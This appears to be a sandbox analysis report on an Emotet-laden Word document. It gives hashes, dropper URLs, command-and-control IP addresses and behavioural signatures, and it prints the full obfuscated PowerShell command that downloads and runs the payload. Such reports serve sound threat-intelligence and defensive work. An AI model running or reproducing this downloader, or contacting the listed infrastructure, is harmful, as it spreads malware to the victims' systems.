Analysis
- max time kernel
136s - max time network
135s - platform
windows10_x64 - resource
win10v200722 - submitted
04/09/2020, 18:25
Static task
static1
Behavioral task
behavioral1
Sample
Arc 20200904 Y94235.doc
Resource
win7
General
- Target Arc 20200904 Y94235.doc
- Size 234KB
- Sample200904-9blsfr91cn
- SHA256 6f0b6b0222cea2d8ba538112fd54ca8a8bdff5682be620babe330264cca0858a
- MD5 572ca50aec94d522403b04799379874f
- SHA1 e950a569d468f0d4e5eb6c9d2aff344acd7dfa35
- SHA512 831d6308ea114989ed0875f698848a5619063af9713f24894686153e81294cae70a97d774c37c6e41c43e8abd2ca90a3241f4aca5e1ac60eb074967e9e14a25a
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://radiosubmit.com/search_test/s/
-
exe.dropper
http://kailashhotel.com/invoice/3/
-
exe.dropper
http://king61tours.com/pdf/d/
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exe.dropper
https://povedavicedo.com/wp-admin/w/
-
exe.dropper
https://menuazores.com/root/P/
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exe.dropper
https://fairplay.company/wp-includes/H/
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exe.dropper
https://www.laminatedtube.com/site/iT/
Extracted
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emotet
-
185.215.227.107:443
-
51.38.124.206:80
-
38.88.126.202:8080
-
54.37.42.48:8080
-
172.104.169.32:8080
-
68.183.190.199:8080
-
187.162.248.237:80
-
82.76.111.249:443
-
184.66.18.83:80
-
190.6.193.152:8080
-
77.238.212.227:80
-
199.203.62.165:80
-
188.2.217.94:80
-
185.94.252.12:80
-
178.250.54.208:8080
-
206.15.68.237:443
-
65.36.62.20:80
-
216.47.196.104:80
-
219.92.8.17:8080
-
213.60.96.117:80
-
77.55.211.77:8080
-
72.167.223.217:8080
-
177.74.228.34:80
-
186.103.141.250:443
-
190.163.31.26:80
-
85.109.159.61:443
-
68.183.170.114:8080
-
213.197.182.158:8080
-
45.161.242.102:80
-
71.197.211.156:80
-
104.131.103.37:8080
-
94.176.234.118:443
-
190.2.31.172:80
-
5.196.35.138:7080
-
190.195.129.227:8090
-
67.247.242.247:80
-
64.201.88.132:80
-
152.169.22.67:80
-
24.135.1.177:80
-
191.182.6.118:80
-
51.159.23.217:443
-
110.142.219.51:80
-
68.69.155.181:80
-
82.196.15.205:8080
-
77.90.136.129:8080
-
181.129.96.162:8080
-
45.33.77.42:8080
-
95.9.180.128:80
-
192.241.146.84:8080
-
91.219.169.180:80
-
188.135.15.49:80
-
212.71.237.140:8080
-
98.13.75.196:80
-
72.47.248.48:7080
-
209.236.123.42:8080
-
217.13.106.14:8080
-
219.92.13.25:80
-
177.72.13.80:80
-
12.162.84.2:8080
-
177.73.0.98:443
-
50.121.220.50:80
-
185.178.10.77:80
-
216.10.40.16:80
-
61.92.159.208:8080
-
170.81.48.2:80
-
45.16.226.117:443
-
185.94.252.27:443
-
217.199.160.224:7080
-
178.79.163.131:8080
-
186.70.127.199:8090
-
91.121.54.71:8080
-
190.190.148.27:8080
-
190.24.243.186:80
-
138.97.60.141:7080
-
104.131.41.185:8080
-
73.213.208.163:80
-
181.30.61.163:443
-
103.106.236.83:8080
-
192.241.143.52:8080
-
87.106.46.107:8080
-
2.47.112.152:80
-
45.173.88.33:80
-
204.225.249.100:7080
-
111.67.77.202:8080
-
70.32.115.157:8080
-
111.67.12.221:8080
-
70.32.84.74:8080
-
58.171.153.81:80
-
190.147.137.153:443
-
190.115.18.139:8080
-
83.169.21.32:7080
-
5.189.178.202:8080
-
50.28.51.143:8080
-
137.74.106.111:7080
-
189.2.177.210:443
-
72.135.200.124:80
-
51.255.165.160:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2532 2376 powershell.exe 72 - Blacklisted process makes network request 1 IoCs
flow pid Process 15 2532 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 192 K1r4jlz.exe 524 WinSyncMetastore.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\wecutil\WinSyncMetastore.exe K1r4jlz.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat svchost.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Modifies data under HKEY_USERS 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = a3cab237e882d601 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0" svchost.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 432 WINWORD.EXE 432 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2532 powershell.exe 2532 powershell.exe 2532 powershell.exe 524 WinSyncMetastore.exe 524 WinSyncMetastore.exe 524 WinSyncMetastore.exe 524 WinSyncMetastore.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeShutdownPrivilege 1420 svchost.exe Token: SeCreatePagefilePrivilege 1420 svchost.exe Token: SeDebugPrivilege 2532 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 432 WINWORD.EXE 432 WINWORD.EXE 432 WINWORD.EXE 432 WINWORD.EXE 432 WINWORD.EXE 432 WINWORD.EXE 432 WINWORD.EXE 432 WINWORD.EXE 432 WINWORD.EXE 192 K1r4jlz.exe 192 K1r4jlz.exe 524 WinSyncMetastore.exe 524 WinSyncMetastore.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2532 wrote to memory of 192 2532 powershell.exe 75 PID 2532 wrote to memory of 192 2532 powershell.exe 75 PID 2532 wrote to memory of 192 2532 powershell.exe 75 PID 192 wrote to memory of 524 192 K1r4jlz.exe 77 PID 192 wrote to memory of 524 192 K1r4jlz.exe 77 PID 192 wrote to memory of 524 192 K1r4jlz.exe 77
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Arc 20200904 Y94235.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:432
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1420
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABQAGMAagBuAHcAZwBwAD0AKAAoACcARAAnACsAJwBiAG8AJwApACsAJwAwACcAKwAoACcAcwAnACsAJwB1AGMAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAcAByAG8ARgBJAEwARQBcAEMAVABOADYANgBmAHoAXABNAFAAOQB0ADgANAA3AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAQwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBgAFUAYABSAGkAVAB5AGAAcAByAG8AVABPAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACkAKwAnADIALAAnACsAKAAnACAAJwArACcAdABsAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEIAMgBtAGcAOQA0AGUAIAA9ACAAKAAnAEsAJwArACcAMQAnACsAKAAnAHIAJwArACcANABqAGwAegAnACkAKQA7ACQATAA5ADMAOQA3ADAANwA9ACgAKAAnAFcAJwArACcAeQAnACsAJwB2ADcAdAAzACcAKQArACcAaQAnACkAOwAkAEUAZQB1AGoAbQA1AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYgAnACsAKAAnAHoAdgAnACsAJwBDAHQAbgA2ADYAZgB6AGIAegAnACsAJwB2AE0AcAA5AHQAJwArACcAOAA0ACcAKQArACgAJwA3ACcAKwAnAGIAegB2ACcAKQApAC0AQwByAEUAcABsAGEAQwBFACAAKAAnAGIAegAnACsAJwB2ACcAKQAsAFsAQwBoAEEAcgBdADkAMgApACsAJABCADIAbQBnADkANABlACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAQwAwADIANAAyADEAZQA9ACgAKAAnAEkAcwBlACcAKwAnAGgAJwApACsAKAAnAGwAJwArACcAYwBxACcAKQApADsAJABIADMAdgBwAHIAZgBwAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcARQBCAGMAbABpAGUAbgBUADsAJABGAHcANQBxADEANgAyAD0AKAAnAGgAJwArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwByACcAKwAnAGEAZABpACcAKQArACgAJwBvAHMAdQBiACcAKwAnAG0AJwApACsAJwBpAHQAJwArACgAJwAuAGMAbwBtAC8AcwBlACcAKwAnAGEAJwArACcAcgBjACcAKwAnAGgAJwApACsAKAAnAF8AdABlACcAKwAnAHMAdAAnACkAKwAoACcALwBzAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBrAGEAJwApACsAKAAnAGkAbAAnACsAJwBhACcAKwAnAHMAaABoACcAKQArACgAJwBvAHQAZQAnACsAJwBsAC4AYwBvAG0ALwAnACsAJwBpACcAKwAnAG4AdgBvAGkAYwBlAC8AMwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGsAaQBuAGcANgAxACcAKQArACgAJwB0AG8AdQAnACsAJwByAHMAJwApACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAcABkAGYAJwArACcALwAnACsAJwBkAC8AKgBoAHQAJwArACcAdABwAHMAOgAnACsAJwAvAC8AcAAnACkAKwAoACcAbwB2ACcAKwAnAGUAZABhAHYAJwArACcAaQBjAGUAJwApACsAJwBkACcAKwAnAG8ALgAnACsAJwBjACcAKwAoACcAbwBtAC8AdwBwAC0AJwArACcAYQBkACcAKwAnAG0AaQBuACcAKwAnAC8AdwAvACoAJwApACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AbQBlACcAKQArACcAbgAnACsAKAAnAHUAYQB6ACcAKwAnAG8AcgAnACkAKwAnAGUAJwArACgAJwBzAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AcgAnACsAJwBvACcAKwAnAG8AJwArACcAdAAvAFAALwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwAHMAOgAvAC8AZgBhAGkAJwApACsAKAAnAHIAcAAnACsAJwBsAGEAeQAnACkAKwAoACcALgBjAG8AbQAnACsAJwBwAGEAJwApACsAKAAnAG4AeQAvACcAKwAnAHcAJwArACcAcAAtAGkAbgBjACcAKQArACgAJwBsAHUAJwArACcAZAAnACkAKwAoACcAZQAnACsAJwBzAC8ASAAvACoAaAAnACsAJwB0AHQAJwArACcAcABzADoALwAvAHcAdwAnACsAJwB3ACcAKwAnAC4AbAAnACkAKwAoACcAYQAnACsAJwBtAGkAJwApACsAKAAnAG4AYQB0AGUAJwArACcAZAB0AHUAYgAnACsAJwBlAC4AYwBvAG0AJwArACcALwBzACcAKwAnAGkAdABlAC8AaQBUAC8AJwApACkALgAiAFMAUABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgBpADgAeQBvAHMAdAA9ACgAKAAnAEUAJwArACcAZQBkACcAKQArACgAJwA2ADAAJwArACcAaAAnACkAKwAnADgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARgBzAHUAdgBsAHcAZwAgAGkAbgAgACQARgB3ADUAcQAxADYAMgApAHsAdAByAHkAewAkAEgAMwB2AHAAcgBmAHAALgAiAGQAbwBgAHcAYABOAEwAbwBBAEQAZgBpAGAAbABlACIAKAAkAEYAcwB1AHYAbAB3AGcALAAgACQARQBlAHUAagBtADUAcgApADsAJABNAHUAegBrAHYANwBrAD0AKAAoACcAVgAnACsAJwA2ACcAKwAnAHcAbgA1AHoAJwApACsAJwA5ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABFAGUAdQBqAG0ANQByACkALgAiAGwAYABFAG4ARwBgAFQAaAAiACAALQBnAGUAIAAzADUANwA2ADgAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQAnACsAJwBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAoACQARQBlAHUAagBtADUAcgApADsAJABJAHMAbAA2AHUAdQB3AD0AKAAnAFAAeAAnACsAKAAnAHcAdwAnACsAJwBqACcAKQArACcAMABlACcAKQA7AGIAcgBlAGEAawA7ACQATgB6ADMAbwBnAHkAcwA9ACgAKAAnAEUANQAnACsAJwB1ADgAJwApACsAKAAnAGYAJwArACcAbAByACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAHgAeAAxAHcAMwA5AD0AKAAnAEIANgAnACsAKAAnAGEAJwArACcAaQB5AGYAJwApACsAJwB2ACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Users\Admin\Ctn66fz\Mp9t847\K1r4jlz.exe"C:\Users\Admin\Ctn66fz\Mp9t847\K1r4jlz.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:192 -
C:\Windows\SysWOW64\wecutil\WinSyncMetastore.exe"C:\Windows\SysWOW64\wecutil\WinSyncMetastore.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:524
-
-